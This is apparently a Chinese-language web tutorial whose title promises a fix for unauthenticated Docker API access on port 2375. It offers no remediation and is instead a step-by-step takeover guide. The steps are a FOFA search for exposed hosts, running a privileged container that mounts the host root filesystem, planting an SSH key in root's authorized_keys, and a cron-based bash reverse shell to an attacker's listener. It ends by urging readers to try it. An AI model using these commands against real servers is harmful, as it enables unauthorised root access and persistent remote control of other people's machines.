本篇內容主要講解“Docker API未授權訪問漏洞問題怎么解決”,感興趣的朋友不妨來看看。本文介紹的方法操作簡單快捷,實用性強。下面就讓小編來帶大家學習“Docker API未授權訪問漏洞問題怎么解決”吧!
因為docker賦有遠程的遠程控制,docker開放了一個tcp端口2375,如果沒有限制訪問的話,攻擊者就會通過這個端口來通過docker未授權來獲取服務器權限。
因為docker賦有遠程的遠程控制,docker開放了一個tcp端口2375,如果沒有限制訪問的話,攻擊者就會通過這個端口來通過docker未授權來獲取服務器權限。
FOFA中搜索port = 2375 && status_code = "404"
訪問站點2375端口,顯示
訪問/info目錄,查看版本信息
證明改站點存在docker未授權訪問漏洞
docker -H tcp://ip ps -a 查看容器 dokcer -H tcp:// images 查看鏡像
為了獲取宿主機的權限,我們需要把宿主機的根目錄掛載到docker容器中
docker -H tcp://ip run -it --privileged=true -v /:/mnt --entrypoint /bin/bash image-id
--privileged=true:使用該參數,container內的root擁有真正的root權限。
-v /:/mnt:將宿主機的根目錄掛載到/mnt目錄下
--entrypoint /bin/bash:指定鏡像的默認入口命令,該入口命令會在啟動容器時作為根命令執行,所有其他傳入值作為該命令的參數,用法ENTRYPOINT command param1 param2
現在就拿到了root權限,利用方式有很多種
ssh-keygen -t rsa //生成一個ssh公鑰 cat /root/.ssh/id_rsa.pub //查看生成的公鑰 echo "公鑰內容" > /mnt/root/.ssh/authorized_keys //寫公鑰 ssh root@目標ip -i id_rsa //ssh進行連接
nc -lvvp port //開啟監聽 echo "* * * * * /bin/bash -i >& /dev/tcp/ip/port 0>&1" > /mnt/var/spool/cron/root ///反彈shell
到此,相信大家對“Docker API未授權訪問漏洞問題怎么解決”有了更深的了解,不妨來實際操作一番吧!這里是億速云網站,更多相關內容可以進入相關頻道進行查詢,關注我們,繼續學習!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。